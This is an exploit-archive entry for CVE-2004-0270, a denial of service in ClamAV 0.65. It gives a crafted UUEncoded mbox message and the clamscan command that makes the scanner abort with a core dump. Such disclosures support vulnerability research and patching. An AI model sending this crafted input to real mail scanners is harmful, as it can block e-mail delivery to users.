ClamAV Daemon 0.65 - UUEncoded Message Denial of Service

Author: Oliver Eikemeier
type: dos
platform: linux
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date_added: 2004-02-09 
date_updated: 2012-12-25 
verified: 1 
codes: CVE-2004-0270;OSVDB-3894 
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source: https://www.securityfocus.com/bid/9610/info

A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users.

Save the following file to ~/clamtest.mbox:

From -

begin 644 byebye
byebye
end

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped)